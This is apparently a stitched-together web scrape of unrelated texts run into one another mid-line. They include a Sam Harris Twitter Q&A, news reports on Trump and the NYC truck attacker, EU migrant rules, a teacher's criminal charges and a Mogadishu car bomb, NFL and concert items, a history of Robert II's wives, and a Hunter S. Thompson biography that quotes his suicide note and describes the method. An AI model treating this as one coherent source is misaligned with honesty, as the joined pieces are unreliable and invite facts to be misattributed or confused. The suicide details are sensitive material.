At least a dozen national polls showing that 60 percent of the population would happily vote for such a person. It will happen, but I doubt it will be in 2016.
Felix Berglund @Felix_Berglund Is it wrong to lie in negotiations?
The question more or less answers itself the moment you consider doing business with the same people again.
Adam5365 @Adam5365 What truly separates a pure conservative / true liberal as I (non party con) relate to most of your ideas
Interesting question—and it is one that is getting harder to answer. Obviously, it depends on whether a person is a social or fiscal conservative (or both), because the former position tends to depend on (unwarranted) religious beliefs. Generally speaking, if you think homosexuals should be free to marry and billionaires should admit that their wealth arises out of conditions that they did not create (political stability, good infrastructure, educated consumers, etc.), you are probably a “liberal” who will align with me on most questions—that is, until I tell you that Islam is more threatening than Anglicanism and that a person can be a responsible gun owner. Then you’ll call me a bigot and an NRA shill.
Nathan Edmondson @EdmondsonNathan Is it fair to divorce the valuable practices of Buddhism from Buddhism? Theravada for example.
Yes. Just as it’s fair to take the crackers and wine from Catholicism
Bête Politique @betepolitique Did Bruce Schneier convince you that racial profiling at airports was not a good idea?
You mean “profiling” (not “racial profiling”). No, he didn’t. Profiling is just another name for making judgments about people based on all of the statistical information we have available (and, no, it’s not another name for “bigotry”). We have limited resources to devote to security: The question is, should we allow highly trained people to use these resources intelligently, or should they be obliged to shine the spotlight of their attention at random? Granted, we don’t currently have highly trained screeners at the TSA, but we should. And the truth is, even untrained people are better at spotting potential terrorists than Schneier admits. In fact, most of us are better at noticing threatening people than we are at almost anything else we do—courtesy of evolution. I’m not arguing that we should give free rein to our latent xenophobia, but it is simply crazy to think that we can’t form fast, valid intuitions about the likelihood that a given person is about to kill everyone in sight, including himself. Again, my argument for profiling is really an argument for anti-profiling—that is, we shouldn’t waste time patting down people who stand no reasonable chance of being jihadists.
I agree with Schneier that random screening can play an important role in certain contexts, but it shouldn’t be motivated by political correctness. And I maintain that obviously wasting our security resources—as we do—is tantamount to putting innocent lives at risk. I say more about why I wasn’t convinced by Schneier here.
Otto Olah @ottoolah Hi @SamHarrisOrg, did you ever write about why not supporting the death penalty? I love your work!
Thanks. I haven’t written about my opposition to the death penalty at length—but my reasons can be gleaned from the general argument I present in Free Will.
mykamakiri @mykamakiri1 What is the best meditation exercise to try for a curious beginner who wants to get a taste of its benefits?
If you have never meditated before, I highly recommend that you start with a practice called vipassana. I discuss it here: How to Meditate.
Nicholas Phillips @zenmindz Is Vipassana different from Dzogchen? I find Vipassana often includes duality, and Dzogchen is non-dual.
Yes. The main difference is that you can start practicing vipassana from wherever you are—it’s a technique that anyone can learn. Dzogchen requires that you be able to recognize the intrinsic selflessness of consciousness (i.e. that you cut through the illusion that there is a thinker of your thoughts and an inner experiencer of your experience). So you can’t start Dzogchen until you can observe that consciousness, prior to thought, doesn’t feel like “I”—and the practice is nothing other than noticing this, again and again. I think vipassana is the perfect preliminary practice for Dzogchen.
Rasmus Pettersson @RasmusP When’s your new book coming out?
It is currently scheduled for June 2014.
Fredrik Eggen @fredrikeggen Why isn’t the argument ‘atheist dictators did not commit their deeds in the name of atheism’ used more often?
I use it a lot, but the point bears repeating: I don’t hold religion accountable for all the bad things that religious people have done. I hold it accountable for all the bad things they have done because of their religious beliefs. No doubt, there are atheists and secularists who have caused immense amounts of human suffering, but I know of no cases in which they did this because they valued empirical evidence over faith or found specific religious doctrines irrational. As I’ve said on more than one occasion, no human society has ever suffered because its people became too reasonable.
Jens Kjær Jensen @JensKjrJensen If, as you say, science is to be the main arbiter of morality, do you still see a useful role for philosophy in this area?
I wouldn’t separate them. Our truth claims should be guided by reason and evidence. There is no clear line between (good) philosophy and science.
Sam Edwards @SamuelJEdwards How to find high quality meditation instruction that isn’t mired in dogma? Buddhism and Vipassana seem just as guilty.
It’s difficult. But in most contexts the dogma have no consequence. You can start practicing vipassana, for instance, without believing anything magical or superstitious. One can’t begin praying to Jesus that way.
Douglas Borg @doug_borg Some critics of A Moral Landscape say you do not addressing the is/ought problem. Are the critics missing your point?
Yes. I believe I have shown it to be a false problem (i.e. based on confusion). My critics continue to insist that I haven’t solved this false problem in the terms of their confusion. This is annoying and sends me sliding down the slopes of the moral landscape.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Nov. 2, 2017, 12:37 PM GMT / Updated Nov. 2, 2017, 1:25 PM GMT By Adam Edelman
President Donald Trump is calling for the death penalty for the New York City suspected terrorist who killed eight people and is backtracking on his suggestion that he was open to sending the attacker to the detention facility at Guantánamo Bay, Cuba.
"Would love to send the NYC terrorist to Guantanamo but statistically that process takes much longer than going through the Federal system…There is also something appropriate about keeping him in the home of the horrible crime he committed. Should move fast. DEATH PENALTY!" Trump posted in a pair of tweets Thursday morning.
His call for capital punishment for Sayfullo Saipov, the Uzbek immigrant suspected of mowing down eight people and injuring others with a rented truck in what law enforcement said was an ISIS-inspired terrorist attack, represented his second in as many days.
Would love to send the NYC terrorist to Guantanamo but statistically that process takes much longer than going through the Federal system... — Donald J. Trump (@realDonaldTrump) November 2, 2017
...There is also something appropriate about keeping him in the home of the horrible crime he committed. Should move fast. DEATH PENALTY! — Donald J. Trump (@realDonaldTrump) November 2, 2017
Late Wednesday night, Trump had tweeted that he supported capital punishment in the case, posting that he "SHOULD GET DEATH PENALTY!"
His tweets Thursday about where to imprison Saipov, however, marked a reversal for the president, who just a day earlier said he would "certainly consider" sending the suspected terrorist to Gitmo.
"Send him to Gitmo — I would certainly consider that, yes," the president told reporters ahead of a Cabinet meeting at the White House on Wednesday. An administration official told NBC News Wednesday that there's likely no legal authority to send Saipov to the detention facility.
Trump also argued that the U.S. justice system takes too long and that authorities "have to come up with punishment that's far quicker... than the punishment these animals are getting right now."
Several Republican senators, including Lindsey Graham, R-S.C., and John McCain, R-Ariz., had argued on Wednesday that Saipov should be labeled an enemy combatant. As commander in chief, Trump can classify an individual as an enemy combatant, empowering the United States to detain that person without trial and without the rights granted to civilians, such as the right to a lawyer.
Saipov was charged by the U.S. attorney's office Wednesday with one count of material support to a terrorist organization and one count of violence and destruction of a motor vehicle.The European Union has started legal proceedings against several member states for breaching migrant rules during the summer as the continent struggled to cope with the migrant crisis.
At the height of the migrant crisis in the three months between June and September this year, roughly 413,800 migrants applied for asylum in the EU, reports The Telegraph. The numbers represent over double the previous three months, and a fourfold increase since the beginning of 2014.
Various EU states struggled to cope with the influx and as a result Greece, Croatia and Italy have now been threatened with court for failing to follow migrant rules. In breach of a process intended to prevent migrants travelling on through central Europe and into Germany, those countries failed to fingerprint asylum seekers within three days of arrival as required by the Eurodac Regulation.
More seriously, Hungary faces legal action by the EU over allegations it failed to respect the rights of failed asylum seekers having allegedly ignored rules protecting failed asylum seekers from deportation while appeals are in progress. The European Commission also said that Hungary’s fast-track deportation regime ignores migrants’ rights to an interpreter, and left what should have been judicial decisions in the hands of unqualified secretaries.
Greece and Malta also face action for failure to meet standards for migrant reception centres.
Letters of Formal Notice, the first step of the infringement procedure, are being issued by the European Commission to the various infringing countries. In all the Commission has threatened more than 82 separate legal actions against its member states, a situation said to illustrate just how poorly the EU’s asylum rules have been applied.
When legal proceedings were first mentioned earlier in the year, as Breitbart London reported, European Commission First Vice-President Frans Timmermans said:
“Solidarity and responsibility are two sides of the same coin… Our Common European Asylum System can only function if everyone plays by the rules.”
Broken down the numbers of migrants seeking asylum between June and September give an interesting picture of the crisis.
Predictably about a third were Syrians, with a further 14 per cent from Afghanistan and 10 per cent from Iraq. However, more surprising is that fact that some 26,000 Albanians, 21,000 Pakistanis and 11,175 Nigerians also applied for asylum.
Albania aspires to membership of the EU, Pakistan is a Commonwealth country, and Nigeria, as well as also being in the Commonwealth, is one of Africa’s fastest growing states. These countries do not represent typical war-torn nations which generate refugees and asylum seekers.
The BBC has reported that new data published yesterday shows a total of 812,705 migrants claimed asylum in the EU in the first nine months of this year.× Court docs: Former Franklin Central teacher had sex with student, bought gun for robberies
INDIANAPOLIS, Ind.– A former Franklin Central High School teacher investigated in April is now facing multiple criminal charges.
On April 10, the Franklin Township Community School Corporation said they received an anonymous tip on April 7 from a parent concerned about a relationship between 38-year-old Kathryn Hagan and a student.
According to court documents, Hagan invited the victim over to her home on March 28, and she gave him Xanax. On March 31, she invited the victim to her home again, and they had sex in her upstairs bedroom.
Police spoke with another student who said there was a 10-second video going around the school that showed Hagan and the victim naked together. Court documents say students were trying to use the video to blackmail Hagan into giving them better grades.
Investigators say Hagan also bought a gun for another student, and she told that student to use it to rob other students who may have evidence incriminating her on their phones.
Hagan is now facing charges of conspiracy to commit robbery while armed with a deadly weapon, two counts of child seduction, dangerous control of a firearm (providing a firearm to a child) and dealing in a schedule IV controlled substance.
“Franklin Township is cooperating fully with the Department of Child Services and the Indianapolis Metropolitan Police Department in their investigation,” the school corporation said in a statement after removing Hagan from her position.
The teacher’s first day at the school was Jan. 3, 2017, and she resigned on April 7. The school corporation noted their process includes a full criminal background check.Although Holmes is an established veteran who was named Super Bowl XLIII MVP while playing with the Steelers, he isn’t expecting the Bears to hand him a job without him earning it.
“You have to prove yourself every day, whether you’re a nine- or 10-year vet or if you’re a first-year rookie coming in,” said Holmes, who was selected by the Steelers in the first round of the 2006 draft. “Each and every opportunity that presents itself in front of you, you have to be willing to take advantage of it.”
In joining the Bears, Holmes knows that forming a bond with Cutler is vital.
“It’s going to be big,” Holmes said. “I know what he has to offer and I have to prove to him what I have to offer to the team, which is showing up, being on time, being accountable, catching every pass from him and showing him how hard I want to work on offense.
“I’m excited to be here with him. He’s taken me under his wing. He’s talked to me and kept me close. I’m pretty sure it’s going to be exciting for us all.”
Holmes has had some issues with teammates and brushes with the law during his NFL career, but the Bears are not concerned with his character.
“We’ve spent time with him,” Trestman said. “People change. They get into new venues, new environments. You’re out for a while you get a hard look at where you are, not only in your work life as well as in other aspects of your life.Car bomber kills 7 in Mogadishu
Mogadishu - Seven people were killed Sunday morning when a suicide bomber attempted to ram a car laden with explosives into a military convoy escorting a four-member Qatari delegation.
General Garad Nor Abdulle, a senior police official said the members of the Qatari delegation who were being escorted in the interior minister's convoy were unharmed and safely reached their hotel.
Abdulle said the interior minister was not in the convoy.
Mohamed Abdi, an officer at the scene of the blast, said four civilians and a soldier died immediately. Another two people died in hospital and 18 were being treated of wounds from the blast, said Dr. Duniya Mohamed Ali at the Medina hospital.
The Qatari delegates are involved in development projects in Mogadishu, Somali president Hassan Sheikh Mohamud said.
Mohamud blamed al-Qaeda-linked Somali militant group al-Shabaab for the attack.
He said "suspects" have been arrested.
After the explosion soldiers fired in the air to disperse crowds that had gathered at the blast site at the busy KM4 junction.
Separately, four Somali soldiers were wounded Sunday when a roadside bomb struck a government vehicle in Deynile district, in Mogadishu's northwest, said Ali Jimale, a captain with the Somali police.
The Somali government reopened key roads in the Somali capital, Mogadishu, four days ago which had been closed for security reasons. The roads were closed after the government received intelligence that militants were planning attacks, officials said.
KM4 is among the busiest roads in Mogadishu, largely used by government officials and African Union forces. It connects the presidential compound and other government offices to the airport.
The car bombing falls into a pattern of attacks blamed on the Islamic extremist group al-Shabaab, which has been pushed out of much of the areas it occupied in South and Central Somalia by African Union troops.
Condemning Sunday's attack, the U.N. representative to Somalia, Augustine P. Mahiga said cowardly and senseless acts of violence will not undermine the remarkable progress Somalia has made in the past months.
"Attacks against civilians are never justifiable. I call on all parties to renounce violence and contribute positively to peace and stability," he said.
Chaos
The British government condemned the attack through its Minister for Africa Mark Simmonds.
He said incidents such as these demonstrate the importance of the Federal Government of Somalia and international partners working together to combat violent extremism in Somalia.
Next week's Somalia Conference in London, co-hosted by the British and the Federal Government of Somalia will provide international support to help build Somali capacity to increase peace and stability, said Simmonds.
Al-Shabaab once controlled almost all of Mogadishu. African Union and Somali forces pushed the radical rebels out of the city in 2011, but the fighters have continued to carry out bomb attacks.
Al-Shabaab claimed responsibility for an attack on Somali's Supreme Court last month that killed 35, including nine attackers.
Somalia's prime minister said that several experienced foreign fighters took part in attack on the Supreme Court, the most serious Islamic extremist attack on Mogadishu in years, while other officials indicated the explosive devices were more advanced than normal, a possible indication of greater involvement by al-Qaeda. The attack included six suicide bombings and two car bombs.
Al-Shabab boasts several hundred foreign fighters, including some from the Middle East with experience in the Iraq and Afghanistan conflicts. Al-Shabaab also recruits fighters from Somali communities in the United States and Europe.
In March, an explosives-filled car targeting a truck of government officials hit a civilian car and exploded, setting a mini-bus on fire and killing at least seven.
Somalia has not had a functioning government since 1991 when warlords overthrew long-time dictator Siad Barre and turned on each other, plunging the impoverished nation into chaos.
President Mohamud was elected by parliament in October at the end of the eight-year UN-backed transitional government.
The UN-backed political process that resulted in Mohamud's election was condemned by Islamist militants who said it was manipulated by the West. But Mohamud has the support of the international community, which wants him to succeed and bring stability to the troubled Horn of Africa nation.Matt York/Associated Press
Arizona finished the 2014 regular season 11-5 and lost in the first round of the NFL playoffs, but the Cardinals will shape up to be Super Bowl contenders in 2015.
The NFC West runner-ups jumped out to a hot start, winning nine of their first 10 games, but then the wheels fell off as injuries began to mount up.
The quarterback position suffered the most devastating injuries, as Carson Palmer and backup Drew Stanton both missed valuable time. Palmer missed three games early in the season due to nerve damage, and then he tore his ACL upon his return, landing him on season-ending injured reserve. Stanton injured his knee in Week 15 against St. Louis.
Rick Scuteri/Associated Press
Star running back Andre Ellington also landed on injured reserve after requiring surgery to repair a hernia he suffered against the Dallas Cowboys in Week 9.
With injuries piling up, the Cardinals lost four of their last six games, before losing 27-16 against the Carolina Panthers in the playoffs.
The Cardinals will naturally be in better standing entering next season, assuming they do not have the same luck with injuries. Defensive lineman Corey Peters recognized the potential in Arizona and decided to sign with the Cardinals this offseason.
“I think they’re building something special,” Peters said (via Adam Green's ArizonaSports.com article). “Of course, they had a very good year last year until injuries kicked in. Honestly, I just feel like they’re right there. They’re going to make some things happen, and I look forward to being a part of that process.”
The Cardinals appointed Bruce Arians as head coach after a successful stint as the interim head coach for the Colts following Chuck Pagano’s leukemia diagnosis in 2012. Arians earned AP Coach of the Year honors for his job steadying the ship in Indianapolis that season.
Christian Petersen/Getty Images
Arizona finished with only five wins in the 2012 season. Arians quickly turned the franchise around, winning 10 and 11 games in his first two seasons in the NFC West. The new head coach provides stability to the franchise while showing improvement every season.
“Having won 21 regular-season games over the last years, they are not viewed as a fluke who is destined to take a step back,” per Green, writing for ArizonaSports.com. “Instead, they are looked at as a team ready to get to the next level.”
On the back of two successful seasons, Arizona can attract established veterans in free agency like linebacker Sean Weatherspoon and Mike Iupati. The Cardinals lured Iupati away from their division rivals, San Francisco 49ers, where he earned three Pro Bowl selections in his first five seasons.
Arizona also drafted D.J. Humphries with the 24th overall pick in the 2015 NFL draft. With the selection of the tackle from the University of Florida and the signing of Iupati, bolstering the offensive line was clearly a point of emphasis for general manager Steve Keim. And per his comments, courtesy of the Cardinals' official Twitter feed, he feels positive regarding the OL's success, especially as it relates to Humphries:
Palmer showed he still has gas in the tank in his first season with the Cardinals, and an improved offensive line should help the 35-year-old quarterback stay on his feet this season. The Fresno, California, native threw for 4,274 yards and 24 touchdowns, while playing in all 16 games in the 2013 regular season.
An improved offensive line should also help open up more running lanes for Ellington this season. On top of that, Arizona found the second piece of a possible two-headed monster in David Johnson from the University of Northern Iowa.
The third-round selection provides a bigger running back for Arizona, as Johnson measures at 6’1” and 225 pounds. The Northern Iowa product also provides versatility, as he began his college career as a wide receiver. Mike Jurecki of Fox Sports reported that the Cardinals want to find a way to play both running backs at the same time:
The addition of another runner in the backfield should take pressure off Ellington, as he returns from injury. In his rookie season, Ellington gained 1,023 yards from scrimmage, but the Clemson University product split carries with Rashard Mendenhall.
Without a running partner this past season, Ellington’s yards-per-rush average dropped from 5.53 yards to just 3.3 yards. The increased workload following Mendenhall’s retirement also took a toll on the 26-year-old running back's body as he suffered from foot and hernia injuries.
Ellington fully welcomes Johnson into the backfield this season, according Kent Somers of azcentral.com.
“I don’t see why not,” Ellington said when asked if he would be helped by the addition of Johnson, according to Somers. “It allows me to have more rest time, and it should keep the offense upbeat.”
Jonathan Daniel/Getty Images
NFL.com’s Bucky Brooks gave the Arizona Cardinals a “B+” grade for their draft this year and said Humphries and Johnson will be able to hit the ground running this season.
“Each displays the core athletic attributes needed to shine at their respective position, while also showing the polish to make immediate contributions as rookies,” Brooks wrote. “Humphries and Johnson, in particular, upgrade an offense that should click with veteran quarterback Carson Palmer healthy again and back at the helm.”
The downside for the Cardinals includes the departures of defensive coordinator Todd Bowles and franchise figure Darnell Dockett. The New York Jets named Bowles as their new head coach. Defensive end Dockett signed with San Francisco in free agency as well.
The Cardinals addressed Dockett’s departure by selecting Markus Golden from Missouri in the second round and Shaquille Riddick from West Virginia in the fifth round.
Heading into the 2015 season, the Cardinals should return to full health and be better suited to limit the wear and tear on both Palmer and Ellington.
While hopefully avoiding the injury bug, the Cardinals now possess the necessary depth to challenge the Seattle Seahawks and other contenders for opportunity to appear in their first Super Bowl since 2008.In addition to its 20th anniversary celebration, Incubus has recently announced dates for “The 8 Tour” with Jimmy Eat World. Incubus & Jimmy Eat World will kick-off this tour on July 6th at Perfect Vodka Amphitheater – West Palm Beach, FL.
Incubus will be performing across major U.S. and Canada venues, in support to its eighth studio album “8” – with shows including in cities like Tampa, Atlanta, Cincinnati, Charlotte, Holmdel, Syracuse, Mansfield, Camden, Clarkston, Burgettstown, Tinley Park, Maryland Heights, Spring, Dallas, Chula Vista, Los Angeles, Ridgefield, and many more. Incubus and Jimmy Eat World will wrap-up “The 8” tour with its final show at Red Rocks Amphitheater – Morrison, CO on Oct. 3rd.
In addition to this tour Incubus will be performing for 2017 Ticket to Rock. Tickets are available for sale at Ticket Hub.
Also published on Medium.For the wives of Robert the Bruce, click here
Robert II, King of Scots and grandson of Robert the Bruce was a handsome, charming man who had many descendants. He not only had two wives who had numerous children but many mistresses who had babies as well. In fact, we will never really know how many offspring he had because the annals only name his male illegitimate children and none of the females. Due to these many progenies and some questioning the legitimacy of his children by his first wife, conflict over who should accede to the throne of the Scots would last for eighty years. Let’s take a look at Robert’s two wives.
The First Wife ~ Elizabeth Mure
Elizabeth Mure is a shadowy and elusive woman due to the lack of surviving historical record. The best guess of when she was born is 1320. She was the daughter of Adam of Rowallan in Ayrshire. When Elizabeth was probably sixteen and most likely pregnant, she was hurriedly married to Robert Stewart. Robert was the son of Marjorie, the daughter of Robert the Bruce and of Walter, the sixth High Steward of Scotland. Robert was good looking, congenial and liked by all. Many wished he was king.
Robert carried out a feud with his uncle, King David II and was able to sabotage or limit David’s powers as king. Robert stood next in line to the throne if David had no children, which he didn’t. Robert was to have anywhere from nine to thirteen children with Elizabeth, including at least four sons. With his growing family, Robert married his daughters into powerful families and worked to advance his sons. Through this familial network he managed to gain control of the greater part of central, western and north-eastern Scotland by unions with eight of the fifteen existing earldoms as well as other lordships, royal castles and offices north of the Forth-Clyde line.
For some reason, in 1347, Robert felt he needed to legitimize his marriage to Elizabeth and they sought a religious dispensation. When he applied for the dispensation from the pope, he was supported by King David, the king of France, the seven Scottish bishops and parliament. There is some speculation as to why the couple did this. Robert and Elizabeth may have discovered they were related in the fourth degree which was prohibited by the church without dispensation. Elizabeth might have been related to another mistress of Robert’s and they may not have known this when they married. Elizabeth may have been Robert’s mistress and they didn’t really marry in the first place. Or they may have had a marriage in the secular, Celtic tradition which wouldn’t have been recognized by the church.
Pope Clement VI, the fourth Avignon pope, granted the dispensation and Elizabeth and Robert went through a formal marriage ceremony. Although all their children were legitimized by this process, the children of Robert’s second marriage would always question their legality to inherit the throne of Scotland. Elizabeth died in 1353, possibly in childbirth in her early thirties. She was buried either at Paisley or Scone. Her eldest son, John Stewart, Earl of Carrick would eventually succeed to the throne upon the death of his father as Robert III.
The Second Wife ~ Euphemia Ross
Euphemia Ross was the daughter of Hugh, 4th Earl of Ross and his second wife Margaret Graham. She was born sometime between 1322 and 1330 and most likely was brought up at Dingwall Castle in northern Scotland. The Ross’s lived far from court but her father was a friend of King Robert the Bruce and had been married to Robert’s sister Maud as his first wife. Euphemia was betrothed as a young child and the marriage was most likely arranged by the king.
She was to marry the King’s great-nephew John Randolph, second son of Thomas Randolph, 1st Earl of Moray. This match would unite two of the most important families of the north. Thomas Randolph died of illness and John’s elder brother was killed in battle. After the battle, John inherited his father’s title and escaped to France. Euphemia’s father was killed at the Battle of Halidon Hill in July of 1333.
John returned to Scotland and was named as Guardian of the country for King David II along with Robert the Steward. John and Robert soon quarreled as they were both young and ambitious. This guardianship was dissolved in 1335 and Sir Andrew Moray took over. About the same time, John was captured on the Borders by the English and after being captive in various castles was taken to the Tower of London. He wasn’t set free until 1341 and then he went to France. He returned to Scotland in 1343 and he and Euphemia were finally married.
Her husband had a castle at Darnaway in Moray and estates in Dumfriesshires so this is probably where she spent her time. During her marriage to Randolph she had no children. In 1346, her husband, Robert the Steward and King David II crossed the border into England and fought at the Battle of Neville’s Cross. John Randolph was killed and Euphemia was a widow and wealthy landowner and would remain so for the next eleven years.
Euphemia knew Robert the Steward well as he had made up his quarrel with her husband and their families became friends. She may have been attracted to Robert as he was tall, dignified, handsome, and affable with charming manners and a lover of pretty women. Euphemia may have been interested in Robert and Elizabeth Mure’s young children. Euphemia may have been attractive to Robert due to her landholdings in the north. There was an agreement that they would marry. Euphemia and Robert were related within three degrees of affinity. They sought a dispensation and received one from Pope Innocent VI, the fifth Avignon pope, on May 2, 1355.
Euphemia’s uncle, the Lord of Lovat and a grand retinue accompanied her south to her wedding which may have taken place at Robert’s castle of Dundonald in Ayrshire. This castle was most likely her home. She would come to have many children of her own. Her first son was named David after the King, her second son was named Walter and she had at least two daughters, Jean and Egidia. As mother to her own children, stepmother to her husband’s older children and manager of her husband’s estates during his absences, she was exceedingly busy. She would have attended masses, supplied charity to the poor, supported the local clergy, managed her own property and may have visited her family in Dingwall.
After sixteen years of marriage, Robert became King of Scots in 1371. Euphemia was crowned in 1372 at Scone by Alexander Kinninmonth, Bishop of Aberdeen a few months after her husband. They moved to Edinburgh Castle. Like most medieval queens she would have encouraged and patronized the arts. Robert had mellowed greatly from his rash youth. He maintained agreeable relations with England and sustained good relationships with his nobles due to lavish gifts and his affable personality.
The kingdom was for the most part at peace during his reign. He had a lot of trouble with his many offspring fighting amongst themselves, especially the children of Elizabeth Mure. It is not known how Euphemia got along with her stepchildren but there is evidence she worked to promote the interests of her own sons. With determination and preserving influence, she managed to get the earldom of Caithness for her eldest son David in 1377. David also inherited the earldom of Strathearn from her directly. He began to claim he was the rightful heir to the throne, renewing the age old question of the legitimacy of his stepbrothers. We don’t know if Euphemia supported him in this endeavor.
By 1384, Robert was weak and nearly blind. His eldest son, John, Earl of Carrick took over most of his duties as King and Robert retired to his castle of Dundonald. Euphemia died in 1387. Robert died three years later. They were both buried at Scone.
Further reading: “The Kings and Queens of Scotland” edited by Richard Oram, “British Kings and Queens” by Mike Ashley, “Scottish Queens: 1034-1714” by Rosalind Marshall, “Five Euphemias” by Elizabeth SutherlandBEIJING (Reuters) - A Chinese official has suggested the biting of pencils as a possible explanation for excessive levels of lead found in children in a town in the south of the country located next to a chemical plant, state media reported on Monday.
The plant, in Dapu in the southern province of Hunan, has been shut down after tests found that more than 300 children had excessive levels of lead in their blood, the Global Times, published by the ruling Communist Party’s official People’s Daily, said.
Su Genlin, head of the Dapu government, said the children could have been made sick by “biting pencils”, the newspaper reported, despite the fact that the “lead” in pencils is graphite.
The government has now announced a probe into both the owner of the chemical plant and local environmental protection agency, the report added.
Chinese media frequently report on similar cases in a country where breakneck economic growth has come at a terrible price for the natural environment in many places.
In 2009, a smelter was closed after it was blamed for the lead poisoning of almost 1,000 children in the northern province of Shaanxi.
Despite repeated pledges to get tough, the government faces an uphill struggle in poorer parts of the country where local authorities often rely on tax receipts from heavily polluting industry.The scale of Chinese investment in the Australian residential property market continues to polarise public opinion. Chinese buyers are often blamed for driving up house prices in Australia and causing the current affordability crisis.
However, Chinese offshore purchases are surprisingly low. Based on Foreign Investment Review Board (FIRB) approval figures, ABS data, and our own data on actual Chinese investment in commercial real estate, we estimate Chinese residential real estate investment |
of these columns were collected in Gonzo Papers, Vol. 2: Generation of Swine: Tales of Shame and Degradation in the '80s (1988) and Gonzo Papers, Vol. 3: Songs of the Doomed: More Notes on the Death of the American Dream (1990), a collection of autobiographical reminiscences, articles and previously unpublished material.
Throughout the early 1990s, Thompson claimed to be at work on a novel entitled Polo Is My Life. It was briefly excerpted in Rolling Stone in 1994, and Thompson himself described it 1996 as "a sex book — you know, sex, drugs and rock and roll. It's about the manager of a sex theater who's forced to leave and flee to the mountains. He falls in love and gets in even more trouble than he was in the sex theater in San Francisco".[43] The novel was slated to be released by Random House in 1999, and was even assigned ISBN 0-679-40694-8, but was never published.
Thompson continued to publish irregularly in Rolling Stone, ultimately contributing 17 pieces to the magazine between 1984 and 2004.[44] "Fear and Loathing in Elko," published in 1992, was a well-received fictional rallying cry against the nomination of Clarence Thomas to a seat on the Supreme Court of the United States. "Trapped in Mr. Bill's Neighborhood" was a largely factual account of an interview with Bill Clinton at a Little Rock, Arkansas steakhouse. Rather than traveling the campaign trail as he had done in previous presidential elections, Thompson monitored the proceedings on cable television; Better Than Sex: Confessions of a Political Junkie, his account of the 1992 presidential campaign, is composed of reactive faxes to Rolling Stone. In 1994, the magazine published "He Was a Crook," a "scathing" obituary of Richard Nixon.[45]
In November 2004, Rolling Stone published Thompson's final magazine feature "The Fun-Hogs in the Passing Lane: Fear and Loathing, Campaign 2004", a brief account of the 2004 presidential election in which he compared the outcome of the Bush v. Gore court case to the Reichstag fire and formally endorsed Senator John Kerry, a longtime friend, for president.
Fear and Loathing redux [ edit ]
Thompson's work gained renewed attention with the release of the film Fear and Loathing in Las Vegas. New editions of the book were published, introducing Thompson's work to a new generation of readers. The same year, an early novel The Rum Diary was published, as were the two volumes of collected letters.
Thompson's next, and penultimate, collection, Kingdom of Fear: Loathsome Secrets of a Star-Crossed Child In the Final Days of the American Century, was widely publicized as Thompson's first memoir. Published in 2003, it combined new material (including reminiscences of the O'Farrell Theater), selected newspaper and digital clippings, and other older works.
Thompson finished his journalism career in the same way it had begun: Writing about sports. From 2000 until his death in 2005, he wrote a weekly column for ESPN.com's Page 2 entitled "Hey, Rube." In 2004 Simon & Schuster collected some of the columns from the first few years and released it in mid-2004 as Hey Rube: Blood Sport, the Bush Doctrine, and the Downward Spiral of Dumbness.
Thompson married assistant Anita Bejmuk on April 23, 2003.
Death [ edit ]
At 5:42 p.m. on February 20, 2005, Thompson died from a self-inflicted gunshot wound to the head at Owl Farm, his "fortified compound" in Woody Creek, Colorado. His son Juan, daughter-in-law Jennifer, and grandson were visiting for the week-end. His wife Anita, who was at the Aspen Club, was on the phone with him as he cocked the gun. According to the Aspen Daily News, Thompson asked her to come home to help him write his E.S.P.N. column, then set the receiver on the counter. Anita said she mistook the cocking of the gun for the sound of his typewriter keys and hung up as he fired. Will and Jennifer were in the next room when they heard the gunshot, but mistook the sound for a book falling and did not check on Thompson immediately. Juan Thompson found his father's body. According to the police report and Anita's cell phone records,[46] he called the sheriff's office half an hour later, then walked outside and fired three shotgun blasts into the air to "mark the passing of his father". The police report stated that in Thompson's typewriter was a piece of paper with the date "Feb. 22 '05" and a single word, "counselor".[47]
Thompson's inner circle told the press that he had been depressed and always found February a "gloomy" month, with football season over and the harsh Colorado winter weather. He was also upset over his advancing age and chronic medical problems, including a hip replacement; he would frequently mutter "This kid is getting old." Rolling Stone published what Doug Brinkley described as a suicide note written by Thompson to his wife, titled "Football Season Is Over". It read:
No More Games. No More Bombs. No More Walking. No More Fun. No More Swimming. 67. That is 17 years past 50. 17 more than I needed or wanted. Boring. I am always bitchy. No Fun — for anybody. 67. You are getting Greedy. Act your age. Relax — This won't hurt.[48]
Thompson's collaborator and friend Ralph Steadman wrote:
... He told me 25 years ago that he would feel real trapped if he didn't know that he could commit suicide at any moment. I don't know if that is brave or stupid or what, but it was inevitable. I think that the truth of what rings through all his writing is that he meant what he said. If that is entertainment to you, well, that's OK. If you think that it enlightened you, well, that's even better. If you wonder if he's gone to Heaven or Hell, rest assured he will check out them both, find out which one Richard Milhous Nixon went to — and go there. He could never stand being bored. But there must be Football too — and Peacocks...[49]
Funeral [ edit ]
On August 20, 2005, in a private funeral, Thompson's ashes were fired from a cannon. This was accompanied by red, white, blue and green fireworks—all to the tune of Norman Greenbaum's "Spirit in the Sky" and Bob Dylan's "Mr. Tambourine Man".[50] The cannon was placed atop a 153-foot (47 m) tower which had the shape of a double-thumbed fist clutching a peyote button, a symbol originally used in his 1970 campaign for Sheriff of Pitkin County, Colorado. The plans for the monument were initially drawn by Thompson and Steadman, and were shown as part of an Omnibus program on the BBC titled Fear and Loathing in Gonzovision (1978). It is included as a special feature on the second disc of the 2004 Criterion Collection DVD release of Fear and Loathing in Las Vegas, and labeled as Fear and Loathing on the Road to Hollywood.
According to his widow, Anita, the $3 million funeral was funded by actor Johnny Depp, who was a close friend of Thompson. Depp told the Associated Press, "All I'm doing is trying to make sure his last wish comes true. I just want to send my pal out the way he wants to go out."[50] An estimated 280 people attended, including U.S. Senators John Kerry[51] and George McGovern;[51] 60 Minutes correspondents Ed Bradley and Charlie Rose; actors Jack Nicholson, John Cusack, Bill Murray, Benicio del Toro, Sean Penn, and Josh Hartnett; musicians Lyle Lovett, John Oates and David Amram, and artist and long-time friend Ralph Steadman.
Legacy [ edit ]
Writing style [ edit ]
Thompson is often credited as the creator of Gonzo journalism, a style of writing that blurs distinctions between fiction and nonfiction. His work and style are considered to be a major part of the New Journalism literary movement of the 1960s and 1970s, which attempted to break free from the purely objective style of mainstream reportage of the time. Thompson almost always wrote in the first person, while extensively using his own experiences and emotions to color "the story" he was trying to follow.
